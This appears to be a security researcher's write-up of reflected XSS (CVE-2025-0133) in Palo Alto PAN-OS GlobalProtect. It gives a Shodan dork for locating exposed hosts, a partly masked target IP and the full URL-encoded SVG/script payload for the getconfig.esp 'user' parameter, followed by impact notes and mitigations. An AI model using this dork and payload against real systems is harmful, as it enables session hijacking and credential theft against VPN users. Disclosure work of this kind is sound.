ð Now open shodan.io and search

os:"PAN-OS" ssl.cert.subject.CN:"example.com"

ð So we will filter anything through common name.

ð Now choose the target domain, in my case I am choosing ' example.com '

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ð In this case I got 1 result

ð Our target ip is 50.170.*.*

Click here nuclei-templates link

https://github.com/projectdiscovery/nucleitemplates/blob/main/http/cves/2025/CVE-2025-0133.yaml

Now past your target ip :

' https://ip/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1–10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer '

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Now copy our CVE-2025–0133.yaml payload and past the beside ip

ð Then show XSS prompt pop up .

ð Now I am confirm our target ip 50.170.*.* (*.example.com) domain is vulnerable for XSS .

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Impact —

· Category: Reflected Cross-Site Scripting (XSS).

· Immediate evidence: Executed alert('XSS') / prompt('XSS') in victim's browser.

· Potential real-world consequences: if exploited against real users, an attacker could run arbitrary JavaScript in victims' sessions, which may allow:

o account/session hijacking (if cookies or tokens are not protected),

o phishing UI overlays or credential theft,

o keylogging / form capture,

o performing actions on behalf of the user (CSRF-like effects),

o installing malicious browser extensions or persistent client-side payloads (depending on the environment).

Severity: depends on the context (authenticated sessions, presence/absence of HttpOnly cookie flags, sensitive privileges). Treat as high risk for pages accessed by authenticated users

Mitigations: -

  1. Contextual output encoding/escaping
  • Escape/encode values depending on where they are inserted (HTML body, attribute, URL, JS context). Use template engine escaping; do not use naive string replacements.
  1. Disallow/strip script-capable content from untrusted SVG
  • If you must accept SVG, sanitize it server-side: remove <script> tags, on* attributes, and <foreignObject>/<iframe> uses. Use vetted sanitizers (e.g., server-side DOM sanitizer, sanitize-svg, svgo + custom rules, or a library like DOMPurify with jsdom on the server).
  1. Set cookie flags
  • HttpOnly; Secure; SameSite=Strict — HttpOnly prevents document.cookie reads by JS.
  1. CSP (defense-in-depth)
  • Configure Content-Security-Policy to block inline scripts and untrusted sources. Example (start point):
  • Content-Security-Policy: default-src 'self' script-src 'self' object-src 'none' base-uri 'self'
  • Note: CSP is a mitigation layer — still fix the root cause.
  1. Input validation & whitelisting
  • Enforce expected formats and lengths for user and similar params. Prefer rejecting unexpected characters and disallowing raw markup.
  1. Server-side sanitization pipeline
  • Use established libraries and centralized sanitization for allowed HTML/SVG. Log and alert on refused payloads.
  1. Testing & monitoring
  • Add automated tests for injection vectors and monitor web logs for suspicious requests.

Thank you

Researcher: Abhijit Chakrabarty

Date: 29–09–2025